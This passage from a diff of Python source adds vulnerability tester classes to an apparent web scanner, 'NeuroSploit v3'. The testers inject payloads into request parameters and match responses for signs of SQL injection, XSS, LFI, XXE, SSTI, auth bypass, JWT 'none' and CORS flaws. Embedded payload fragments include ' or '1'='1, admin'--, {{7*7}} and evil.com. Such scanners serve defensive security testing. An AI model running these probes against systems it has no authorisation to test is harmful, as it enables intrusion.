"file_upload": FileUploadTester,
"ssrf": SSRFTester,
"ssrf_cloud": SSRFTester, # Same tester, different payloads
"csrf": CSRFTester,
"auth_bypass": AuthBypassTester,
"jwt_manipulation": JWTManipulationTester,
"session_fixation": SessionFixationTester,
"idor": IDORTester,
"bola": BOLATester,
"privilege_escalation": PrivilegeEscalationTester,
"cors_misconfig": CORSTester,
"clickjacking": ClickjackingTester,
"open_redirect": OpenRedirectTester,
"security_headers": SecurityHeadersTester,
"ssl_issues": SSLTester,
"http_methods": HTTPMethodsTester,
}
def __init__(self):
self._tester_cache = {}
def get_tester(self, vuln_type: str) -> BaseTester:
"""Get tester instance for a vulnerability type"""
if vuln_type in self._tester_cache:
return self._tester_cache[vuln_type]
tester_class = self.TESTER_CLASSES.get(vuln_type, BaseTester)
tester = tester_class()
self._tester_cache[vuln_type] = tester
return tester
def get_severity(self, vuln_type: str) -> str:
"""Get severity for a vulnerability type"""
info = self.VULNERABILITY_INFO.get(vuln_type, {})
return info.get("severity", "medium")
def get_cwe_id(self, vuln_type: str) -> str:
"""Get CWE ID for a vulnerability type"""
info = self.VULNERABILITY_INFO.get(vuln_type, {})
return info.get("cwe_id", "")
def get_title(self, vuln_type: str) -> str:
"""Get title for a vulnerability type"""
info = self.VULNERABILITY_INFO.get(vuln_type, {})
return info.get("title", vuln_type.replace("_", " ").title())
def get_description(self, vuln_type: str) -> str:
"""Get description for a vulnerability type"""
info = self.VULNERABILITY_INFO.get(vuln_type, {})
return info.get("description", "")
def get_impact(self, vuln_type: str) -> str:
"""Get impact for a vulnerability type"""
info = self.VULNERABILITY_INFO.get(vuln_type, {})
return info.get("impact", "")
def get_remediation(self, vuln_type: str) -> str:
"""Get remediation advice for a vulnerability type"""
info = self.VULNERABILITY_INFO.get(vuln_type, {})
return info.get("remediation", "")
@@ -0,0 +1,3 @@
from backend.core.vuln_engine.testers.base_tester import BaseTester
__all__ = ["BaseTester"]
+124
View File
@@ -0,0 +1,124 @@
"""
NeuroSploit v3 - Authentication Vulnerability Testers
Testers for Auth Bypass, JWT, Session Fixation
"""
import re
import base64
import json
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class AuthBypassTester(BaseTester):
"""Tester for Authentication Bypass"""
def __init__(self):
super().__init__()
self.name = "auth_bypass"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for authentication bypass"""
# Check for successful auth indicators after bypass payload
auth_success = [
"welcome", "dashboard", "logged in", "authenticated",
"success", "admin", "profile"
]
if response_status == 200:
body_lower = response_body.lower()
for indicator in auth_success:
if indicator in body_lower:
# Check if this was with a bypass payload
bypass_indicators = ["' or '1'='1", "admin'--", "' or 1=1"]
if any(bp in payload.lower() for bp in bypass_indicators):
return True, 0.8, f"Auth bypass possible: '{indicator}' found after injection"
# Check for redirect to authenticated area
location = response_headers.get("Location", "")
if response_status in [301, 302]:
if "dashboard" in location or "admin" in location or "home" in location:
return True, 0.7, f"Auth bypass: Redirect to {location}"
return False, 0.0, None
class JWTManipulationTester(BaseTester):
"""Tester for JWT Token Manipulation"""
def __init__(self):
super().__init__()
self.name = "jwt_manipulation"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for JWT manipulation vulnerabilities"""
# Check if manipulated JWT was accepted
if response_status == 200:
# Algorithm none attack
if '"alg":"none"' in payload or '"alg": "none"' in payload:
return True, 0.9, "JWT 'none' algorithm accepted"
# Check for elevated privileges response
elevated_indicators = ["admin", "administrator", "role.*admin"]
for pattern in elevated_indicators:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.8, "JWT manipulation: Elevated privileges detected"
# Check for JWT-specific errors
jwt_errors = [
r"invalid.*token", r"jwt.*expired", r"signature.*invalid",
r"token.*malformed", r"unauthorized"
]
for pattern in jwt_errors:
if re.search(pattern, response_body, re.IGNORECASE):
# Error means it's checking - note for further testing
return False, 0.0, None
return False, 0.0, None
class SessionFixationTester(BaseTester):
"""Tester for Session Fixation"""
def __init__(self):
super().__init__()
self.name = "session_fixation"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for session fixation vulnerability"""
# Check Set-Cookie header
set_cookie = response_headers.get("Set-Cookie", "")
# If session ID in URL was accepted
if "JSESSIONID=" in payload or "PHPSESSID=" in payload:
if response_status == 200:
# Check if session was NOT regenerated
if not set_cookie or "JSESSIONID" not in set_cookie:
return True, 0.7, "Session ID from URL accepted without regeneration"
# Check for session in URL
if re.search(r'[?&](?:session|sid|PHPSESSID|JSESSIONID)=', response_body):
return True, 0.6, "Session ID exposed in URL"
return False, 0.0, None
@@ -0,0 +1,130 @@
"""
NeuroSploit v3 - Authorization Vulnerability Testers
Testers for IDOR, BOLA, Privilege Escalation
"""
import re
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class IDORTester(BaseTester):
"""Tester for Insecure Direct Object Reference"""
def __init__(self):
super().__init__()
self.name = "idor"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for IDOR vulnerability"""
# Check if we got data for a different ID
if response_status == 200:
# Look for user data indicators
user_data_patterns = [
r'"user_?id"\s*:\s*\d+',
r'"email"\s*:\s*"[^"]+"',
r'"name"\s*:\s*"[^"]+"',
r'"account"\s*:',
r'"profile"\s*:'
]
for pattern in user_data_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
# Check if ID in payload differs from context user
if "original_id" in context:
if context["original_id"] not in payload:
return True, 0.8, f"IDOR: Accessed different user's data"
# Generic data access check
if len(response_body) > 50:
return True, 0.6, "IDOR: Response contains data - verify authorization"
return False, 0.0, None
class BOLATester(BaseTester):
"""Tester for Broken Object Level Authorization"""
def __init__(self):
super().__init__()
self.name = "bola"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for BOLA in APIs"""
# BOLA in REST APIs
if response_status == 200:
# Check for successful data access
data_indicators = [
r'"data"\s*:\s*\{',
r'"items"\s*:\s*\[',
r'"result"\s*:\s*\{',
r'"id"\s*:\s*\d+'
]
for pattern in data_indicators:
if re.search(pattern, response_body):
return True, 0.7, "BOLA: API returned object data - verify authorization"
# Check for enumeration possibilities
if response_status in [200, 404]:
# Different status for valid vs invalid IDs indicates BOLA risk
return True, 0.5, "BOLA: Different responses for IDs - enumeration possible"
return False, 0.0, None
class PrivilegeEscalationTester(BaseTester):
"""Tester for Privilege Escalation"""
def __init__(self):
super().__init__()
self.name = "privilege_escalation"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for privilege escalation"""
if response_status == 200:
# Check for admin/elevated access indicators
elevated_access = [
r'"role"\s*:\s*"admin"',
r'"is_?admin"\s*:\s*true',
r'"admin"\s*:\s*true',
r'"privilege"\s*:\s*"(?:admin|root|superuser)"',
r'"permissions"\s*:\s*\[.*"admin".*\]'
]
for pattern in elevated_access:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.9, f"Privilege escalation: Elevated role in response"
# Check for admin functionality access
admin_functions = [
"user management", "delete user", "admin panel",
"system settings", "all users", "user list"
]
body_lower = response_body.lower()
for func in admin_functions:
if func in body_lower:
return True, 0.7, f"Privilege escalation: Admin functionality '{func}' accessible"
return False, 0.0, None
@@ -0,0 +1,107 @@
"""
NeuroSploit v3 - Base Vulnerability Tester
Base class for all vulnerability testers.
"""
from typing import Tuple, Dict, List, Optional, Any
from urllib.parse import urlparse, urlencode, parse_qs, urlunparse
class BaseTester:
"""Base class for vulnerability testers"""
def __init__(self):
self.name = "base"
def build_request(
self,
endpoint,
payload: str
) -> Tuple[str, Dict, Dict, Optional[str]]:
"""
Build a test request with the payload.
Returns:
Tuple of (url, params, headers, body)
"""
url = endpoint.url
params = {}
headers = {"User-Agent": "NeuroSploit/3.0"}
body = None
# Inject payload into parameters if endpoint has them
if endpoint.parameters:
for param in endpoint.parameters:
param_name = param.get("name", param) if isinstance(param, dict) else param
params[param_name] = payload
else:
# Try to inject into URL query string
parsed = urlparse(url)
if parsed.query:
query_params = parse_qs(parsed.query)
for key in query_params:
query_params[key] = [payload]
new_query = urlencode(query_params, doseq=True)
url = urlunparse(parsed._replace(query=new_query))
else:
# Add as query parameter
params["test"] = payload
return url, params, headers, body
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""
Analyze response to determine if vulnerable.
Returns:
Tuple of (is_vulnerable, confidence, evidence)
"""
return False, 0.0, None
def check_timeout_vulnerability(self, vuln_type: str) -> bool:
"""Check if timeout indicates vulnerability for this type"""
return False
def get_injection_points(self, endpoint) -> List[Dict]:
"""Get all injection points for an endpoint"""
points = []
# URL parameters
if endpoint.parameters:
for param in endpoint.parameters:
param_name = param.get("name", param) if isinstance(param, dict) else param
points.append({
"type": "parameter",
"name": param_name,
"location": "query"
})
# Parse URL for query params
parsed = urlparse(endpoint.url)
if parsed.query:
query_params = parse_qs(parsed.query)
for key in query_params:
if not any(p.get("name") == key for p in points):
points.append({
"type": "parameter",
"name": key,
"location": "query"
})
# Headers that might be injectable
injectable_headers = ["User-Agent", "Referer", "X-Forwarded-For", "Cookie"]
for header in injectable_headers:
points.append({
"type": "header",
"name": header,
"location": "header"
})
return points
@@ -0,0 +1,150 @@
"""
NeuroSploit v3 - Client-Side Vulnerability Testers
Testers for CORS, Clickjacking, Open Redirect
"""
import re
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class CORSTester(BaseTester):
"""Tester for CORS Misconfiguration"""
def __init__(self):
super().__init__()
self.name = "cors_misconfig"
def build_request(self, endpoint, payload: str) -> Tuple[str, Dict, Dict, Optional[str]]:
"""Build CORS test request with Origin header"""
headers = {
"User-Agent": "NeuroSploit/3.0",
"Origin": payload # payload is the test origin
}
return endpoint.url, {}, headers, None
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for CORS misconfiguration"""
acao = response_headers.get("Access-Control-Allow-Origin", "")
acac = response_headers.get("Access-Control-Allow-Credentials", "")
# Wildcard with credentials
if acao == "*" and acac.lower() == "true":
return True, 0.95, "CORS: Wildcard origin with credentials allowed"
# Origin reflection
if acao == payload:
if acac.lower() == "true":
return True, 0.9, f"CORS: Arbitrary origin '{payload}' reflected with credentials"
return True, 0.7, f"CORS: Arbitrary origin '{payload}' reflected"
# Wildcard (without credentials still risky)
if acao == "*":
return True, 0.5, "CORS: Wildcard origin allowed"
# Null origin accepted
if acao == "null":
return True, 0.8, "CORS: Null origin accepted"
return False, 0.0, None
class ClickjackingTester(BaseTester):
"""Tester for Clickjacking vulnerability"""
def __init__(self):
super().__init__()
self.name = "clickjacking"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for clickjacking protection"""
# Check X-Frame-Options
xfo = response_headers.get("X-Frame-Options", "").upper()
# Check CSP frame-ancestors
csp = response_headers.get("Content-Security-Policy", "")
has_frame_ancestors = "frame-ancestors" in csp.lower()
if not xfo and not has_frame_ancestors:
return True, 0.8, "Clickjacking: No X-Frame-Options or frame-ancestors CSP"
if xfo and xfo not in ["DENY", "SAMEORIGIN"]:
return True, 0.7, f"Clickjacking: Weak X-Frame-Options: {xfo}"
# Check for JS frame busting that can be bypassed
frame_busters = [
r"if\s*\(\s*top\s*[!=]=",
r"if\s*\(\s*self\s*[!=]=\s*top",
r"if\s*\(\s*parent\s*[!=]="
]
for pattern in frame_busters:
if re.search(pattern, response_body):
if not xfo and not has_frame_ancestors:
return True, 0.6, "Clickjacking: Only JS frame-busting (bypassable)"
return False, 0.0, None
class OpenRedirectTester(BaseTester):
"""Tester for Open Redirect vulnerability"""
def __init__(self):
super().__init__()
self.name = "open_redirect"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for open redirect"""
# Check redirect status and Location header
if response_status in [301, 302, 303, 307, 308]:
location = response_headers.get("Location", "")
# Check if our payload URL is in Location
if payload in location:
return True, 0.9, f"Open redirect: Redirecting to {location}"
# Check for partial match (domain)
if "evil.com" in payload and "evil.com" in location:
return True, 0.9, "Open redirect: External domain in redirect"
# Check for meta refresh redirect
meta_refresh = re.search(
r'<meta[^>]+http-equiv=["\']?refresh["\']?[^>]+content=["\']?\d+;\s*url=([^"\'>\s]+)',
response_body, re.IGNORECASE
)
if meta_refresh:
redirect_url = meta_refresh.group(1)
if payload in redirect_url:
return True, 0.8, f"Open redirect via meta refresh: {redirect_url}"
# Check for JavaScript redirect
js_redirects = [
rf'location\.href\s*=\s*["\']?{re.escape(payload)}',
rf'location\.assign\s*\(["\']?{re.escape(payload)}',
rf'location\.replace\s*\(["\']?{re.escape(payload)}'
]
for pattern in js_redirects:
if re.search(pattern, response_body):
return True, 0.7, "Open redirect via JavaScript"
return False, 0.0, None
@@ -0,0 +1,203 @@
"""
NeuroSploit v3 - File Access Vulnerability Testers
Testers for LFI, RFI, Path Traversal, XXE, File Upload
"""
import re
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class LFITester(BaseTester):
"""Tester for Local File Inclusion"""
def __init__(self):
super().__init__()
self.name = "lfi"
self.file_signatures = {
# Linux files
r"root:.*:0:0:": "/etc/passwd",
r"\[boot loader\]": "Windows boot.ini",
r"\[operating systems\]": "Windows boot.ini",
r"# /etc/hosts": "/etc/hosts",
r"localhost": "/etc/hosts",
r"\[global\]": "Samba config",
r"include.*php": "PHP config",
# Windows files
r"\[extensions\]": "Windows win.ini",
r"for 16-bit app support": "Windows system.ini",
}
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for LFI indicators"""
for pattern, file_name in self.file_signatures.items():
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.95, f"LFI confirmed: {file_name} content detected"
# Check for path in error messages
path_patterns = [
r"failed to open stream.*No such file",
r"include\(.*\): failed to open stream",
r"Warning.*file_get_contents",
r"fopen\(.*\): failed"
]
for pattern in path_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.6, "LFI indicator: File operation error with path"
return False, 0.0, None
class RFITester(BaseTester):
"""Tester for Remote File Inclusion"""
def __init__(self):
super().__init__()
self.name = "rfi"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for RFI indicators"""
# Check if our remote content was included
if "neurosploit_rfi_test" in response_body:
return True, 0.95, "RFI confirmed: Remote content executed"
# Check for URL-related errors
rfi_errors = [
r"failed to open stream: HTTP request failed",
r"allow_url_include",
r"URL file-access is disabled"
]
for pattern in rfi_errors:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.5, f"RFI indicator: {pattern}"
return False, 0.0, None
class PathTraversalTester(BaseTester):
"""Tester for Path Traversal"""
def __init__(self):
super().__init__()
self.name = "path_traversal"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for path traversal indicators"""
# Same as LFI essentially
file_contents = [
r"root:.*:0:0:",
r"\[boot loader\]",
r"# /etc/",
r"127\.0\.0\.1.*localhost"
]
for pattern in file_contents:
if re.search(pattern, response_body):
return True, 0.9, f"Path traversal successful: File content detected"
return False, 0.0, None
class XXETester(BaseTester):
"""Tester for XML External Entity Injection"""
def __init__(self):
super().__init__()
self.name = "xxe"
def build_request(self, endpoint, payload: str) -> Tuple[str, Dict, Dict, Optional[str]]:
"""Build XXE request with XML body"""
headers = {
"User-Agent": "NeuroSploit/3.0",
"Content-Type": "application/xml"
}
return endpoint.url, {}, headers, payload
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for XXE indicators"""
# File content indicators
xxe_indicators = [
r"root:.*:0:0:",
r"\[boot loader\]",
r"# /etc/hosts",
r"<!ENTITY",
]
for pattern in xxe_indicators:
if re.search(pattern, response_body):
return True, 0.9, f"XXE confirmed: External entity processed"
# Error indicators
xxe_errors = [
r"XML parsing error",
r"External entity",
r"DOCTYPE.*ENTITY",
r"libxml"
]
for pattern in xxe_errors:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.6, f"XXE indicator: XML error with entity reference"
return False, 0.0, None
class FileUploadTester(BaseTester):
"""Tester for Arbitrary File Upload"""
def __init__(self):
super().__init__()
self.name = "file_upload"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for file upload vulnerability indicators"""
# Check for successful upload indicators
if response_status in [200, 201]:
success_indicators = [
"uploaded successfully",
"file saved",
"upload complete",
'"success"\\s*:\\s*true',
'"status"\\s*:\\s*"ok"'
]
for pattern in success_indicators:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.7, "File uploaded successfully - verify execution"
# Check for path disclosure in response
if re.search(r'["\']?(?:path|url|file)["\']?\s*:\s*["\'][^"\']+\.(php|asp|jsp)', response_body, re.IGNORECASE):
return True, 0.8, "Executable file path returned - possible RCE"
return False, 0.0, None
@@ -0,0 +1,152 @@
"""
NeuroSploit v3 - Infrastructure Vulnerability Testers
Testers for Security Headers, SSL/TLS, HTTP Methods
"""
import re
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class SecurityHeadersTester(BaseTester):
"""Tester for Missing Security Headers"""
def __init__(self):
super().__init__()
self.name = "security_headers"
self.required_headers = {
"Strict-Transport-Security": "HSTS not configured",
"X-Content-Type-Options": "X-Content-Type-Options not set",
"X-Frame-Options": "X-Frame-Options not set",
"Content-Security-Policy": "CSP not configured",
"X-XSS-Protection": "X-XSS-Protection not set (legacy but still useful)",
"Referrer-Policy": "Referrer-Policy not configured"
}
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for missing security headers"""
missing = []
headers_lower = {k.lower(): v for k, v in response_headers.items()}
for header, message in self.required_headers.items():
if header.lower() not in headers_lower:
missing.append(message)
# Check for weak CSP
csp = headers_lower.get("content-security-policy", "")
if csp:
weak_csp = []
if "unsafe-inline" in csp:
weak_csp.append("unsafe-inline")
if "unsafe-eval" in csp:
weak_csp.append("unsafe-eval")
if "*" in csp:
weak_csp.append("wildcard sources")
if weak_csp:
missing.append(f"Weak CSP: {', '.join(weak_csp)}")
if missing:
confidence = min(0.3 + len(missing) * 0.1, 0.8)
return True, confidence, f"Missing/weak headers: {'; '.join(missing[:3])}"
return False, 0.0, None
class SSLTester(BaseTester):
"""Tester for SSL/TLS Issues"""
def __init__(self):
super().__init__()
self.name = "ssl_issues"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for SSL/TLS issues"""
issues = []
# Check HSTS
hsts = response_headers.get("Strict-Transport-Security", "")
if not hsts:
issues.append("HSTS not enabled")
else:
# Check HSTS max-age
max_age_match = re.search(r'max-age=(\d+)', hsts)
if max_age_match:
max_age = int(max_age_match.group(1))
if max_age < 31536000: # Less than 1 year
issues.append(f"HSTS max-age too short: {max_age}s")
if "includeSubDomains" not in hsts:
issues.append("HSTS missing includeSubDomains")
# Check for HTTP resources on HTTPS page
if "https://" in (context.get("url", "") or ""):
http_resources = re.findall(r'(?:src|href)=["\']http://[^"\']+', response_body)
if http_resources:
issues.append(f"Mixed content: {len(http_resources)} HTTP resources")
if issues:
return True, 0.6, f"SSL/TLS issues: {'; '.join(issues)}"
return False, 0.0, None
class HTTPMethodsTester(BaseTester):
"""Tester for Dangerous HTTP Methods"""
def __init__(self):
super().__init__()
self.name = "http_methods"
self.dangerous_methods = ["TRACE", "TRACK", "PUT", "DELETE", "CONNECT"]
def build_request(self, endpoint, payload: str) -> Tuple[str, Dict, Dict, Optional[str]]:
"""Build OPTIONS request to check allowed methods"""
headers = {
"User-Agent": "NeuroSploit/3.0"
}
# payload is the HTTP method to test
return endpoint.url, {}, headers, None
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for dangerous HTTP methods"""
# Check Allow header from OPTIONS response
allow = response_headers.get("Allow", "")
dangerous_found = []
for method in self.dangerous_methods:
if method in allow.upper():
dangerous_found.append(method)
# TRACE method enables XST attacks
if "TRACE" in dangerous_found or "TRACK" in dangerous_found:
return True, 0.7, f"Dangerous methods enabled: {', '.join(dangerous_found)} (XST risk)"
if dangerous_found:
return True, 0.5, f"Potentially dangerous methods: {', '.join(dangerous_found)}"
# Check if specific method test succeeded
if payload.upper() in self.dangerous_methods:
if response_status == 200:
return True, 0.6, f"{payload} method accepted"
return False, 0.0, None
@@ -0,0 +1,372 @@
"""
NeuroSploit v3 - Injection Vulnerability Testers
Testers for XSS, SQL Injection, Command Injection, SSTI, etc.
"""
import re
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class XSSReflectedTester(BaseTester):
"""Tester for Reflected XSS vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "xss_reflected"
# Unique markers for detection
self.markers = [
"neurosploit",
"xsstest123",
"alert(1)"
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check if XSS payload is reflected in response"""
if response_status >= 400:
return False, 0.0, None
# Check if payload is reflected
if payload in response_body:
# Check if it's in a dangerous context
dangerous_patterns = [
rf'<script[^>]*>{re.escape(payload)}',
rf'on\w+\s*=\s*["\']?{re.escape(payload)}',
rf'javascript:\s*{re.escape(payload)}',
rf'<[^>]+{re.escape(payload)}[^>]*>',
]
for pattern in dangerous_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.9, f"XSS payload reflected in dangerous context: {pattern}"
# Payload reflected but possibly encoded
return True, 0.7, "XSS payload reflected in response"
# Check for partial reflection (script tags, etc.)
for marker in self.markers:
if marker in payload and marker in response_body:
return True, 0.6, f"XSS marker '{marker}' found in response"
return False, 0.0, None
class XSSStoredTester(BaseTester):
"""Tester for Stored XSS vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "xss_stored"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for stored XSS - requires subsequent request verification"""
# For stored XSS, we need to check if data was stored
# This is a simplified check - full implementation would verify on retrieval
if response_status in [200, 201, 302]:
if "success" in response_body.lower() or "created" in response_body.lower():
return True, 0.5, "Data possibly stored - verify retrieval for stored XSS"
return False, 0.0, None
class XSSDomTester(BaseTester):
"""Tester for DOM-based XSS vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "xss_dom"
self.dom_sinks = [
"innerHTML", "outerHTML", "document.write", "document.writeln",
"eval(", "setTimeout(", "setInterval(", "location.href",
"location.assign", "location.replace"
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for DOM XSS indicators"""
# Look for dangerous DOM sinks in JavaScript
for sink in self.dom_sinks:
pattern = rf'{sink}[^;]*(?:location|document\.URL|document\.referrer|window\.name)'
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.7, f"Potential DOM XSS sink found: {sink}"
# Check if URL parameters are used in JavaScript
if re.search(r'(?:location\.search|location\.hash|document\.URL)', response_body):
if any(sink in response_body for sink in self.dom_sinks):
return True, 0.6, "URL input flows to DOM sink"
return False, 0.0, None
class SQLiErrorTester(BaseTester):
"""Tester for Error-based SQL Injection"""
def __init__(self):
super().__init__()
self.name = "sqli_error"
self.error_patterns = [
# MySQL
r"SQL syntax.*MySQL", r"Warning.*mysql_", r"MySQLSyntaxErrorException",
r"valid MySQL result", r"check the manual that corresponds to your MySQL",
# PostgreSQL
r"PostgreSQL.*ERROR", r"Warning.*pg_", r"valid PostgreSQL result",
r"Npgsql\.", r"PG::SyntaxError",
# SQL Server
r"Driver.*SQL[\-\_\ ]*Server", r"OLE DB.*SQL Server",
r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_",
r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"Microsoft SQL Native Client error",
# Oracle
r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver",
r"Warning.*oci_", r"Warning.*ora_",
# SQLite
r"SQLite/JDBCDriver", r"SQLite\.Exception", r"System\.Data\.SQLite\.SQLiteException",
r"Warning.*sqlite_", r"Warning.*SQLite3::",
# Generic
r"SQL syntax.*", r"syntax error.*SQL", r"unclosed quotation mark",
r"quoted string not properly terminated"
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for SQL error messages in response"""
for pattern in self.error_patterns:
match = re.search(pattern, response_body, re.IGNORECASE)
if match:
return True, 0.9, f"SQL error detected: {match.group(0)[:100]}"
return False, 0.0, None
class SQLiUnionTester(BaseTester):
"""Tester for Union-based SQL Injection"""
def __init__(self):
super().__init__()
self.name = "sqli_union"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for union-based SQLi indicators"""
# Look for injected data markers
union_markers = ["neurosploit", "uniontest", "concat(", "version()"]
for marker in union_markers:
if marker in payload.lower() and marker in response_body.lower():
return True, 0.8, f"Union injection marker '{marker}' found in response"
# Check for database version strings
version_patterns = [
r"MySQL.*\d+\.\d+", r"PostgreSQL.*\d+\.\d+",
r"Microsoft SQL Server.*\d+", r"Oracle.*\d+",
r"\d+\.\d+\.\d+-MariaDB"
]
for pattern in version_patterns:
if re.search(pattern, response_body):
return True, 0.7, "Database version string found - possible union SQLi"
return False, 0.0, None
class SQLiBlindTester(BaseTester):
"""Tester for Boolean-based Blind SQL Injection"""
def __init__(self):
super().__init__()
self.name = "sqli_blind"
self.baseline_length = None
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for boolean-based blind SQLi"""
# This requires comparing responses - simplified check
response_length = len(response_body)
# Check for significant difference in response
if "baseline_length" in context:
diff = abs(response_length - context["baseline_length"])
if diff > 100: # Significant difference
return True, 0.6, f"Response length differs by {diff} bytes - possible blind SQLi"
# Check for conditional responses
if "1=1" in payload and response_status == 200:
return True, 0.5, "True condition returned 200 - possible blind SQLi"
return False, 0.0, None
class SQLiTimeTester(BaseTester):
"""Tester for Time-based Blind SQL Injection"""
def __init__(self):
super().__init__()
self.name = "sqli_time"
def check_timeout_vulnerability(self, vuln_type: str) -> bool:
"""Time-based SQLi is indicated by timeout"""
return True
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Time-based detection relies on timeout"""
# Response time analysis would be done in the engine
return False, 0.0, None
class CommandInjectionTester(BaseTester):
"""Tester for OS Command Injection"""
def __init__(self):
super().__init__()
self.name = "command_injection"
self.command_outputs = [
# Linux
r"root:.*:0:0:", r"bin:.*:1:1:", # /etc/passwd
r"uid=\d+.*gid=\d+", # id command
r"Linux.*\d+\.\d+\.\d+", # uname
r"total \d+.*drwx", # ls -la
# Windows
r"Volume Serial Number",
r"Directory of [A-Z]:\\",
r"Windows.*\[Version",
r"Microsoft Windows"
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for command execution evidence"""
for pattern in self.command_outputs:
match = re.search(pattern, response_body, re.IGNORECASE)
if match:
return True, 0.95, f"Command output detected: {match.group(0)[:100]}"
# Check for our marker
if "neurosploit" in payload and "neurosploit" in response_body:
return True, 0.8, "Command injection marker echoed"
return False, 0.0, None
class SSTITester(BaseTester):
"""Tester for Server-Side Template Injection"""
def __init__(self):
super().__init__()
self.name = "ssti"
# Mathematical expressions that prove code execution
self.math_results = {
"{{7*7}}": "49",
"${7*7}": "49",
"#{7*7}": "49",
"<%= 7*7 %>": "49",
"{{7*'7'}}": "7777777", # Jinja2
}
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for SSTI indicators"""
# Check mathematical results
for expr, result in self.math_results.items():
if expr in payload and result in response_body:
return True, 0.95, f"SSTI confirmed: {expr} = {result}"
# Check for template errors
template_errors = [
r"TemplateSyntaxError", r"Jinja2", r"Twig_Error",
r"freemarker\.core\.", r"velocity\.exception",
r"org\.apache\.velocity", r"Smarty"
]
for pattern in template_errors:
if re.search(pattern, response_body):
return True, 0.7, f"Template engine error: {pattern}"
return False, 0.0, None
class NoSQLInjectionTester(BaseTester):
"""Tester for NoSQL Injection"""
def __init__(self):
super().__init__()
self.name = "nosql_injection"
def analyze_response(
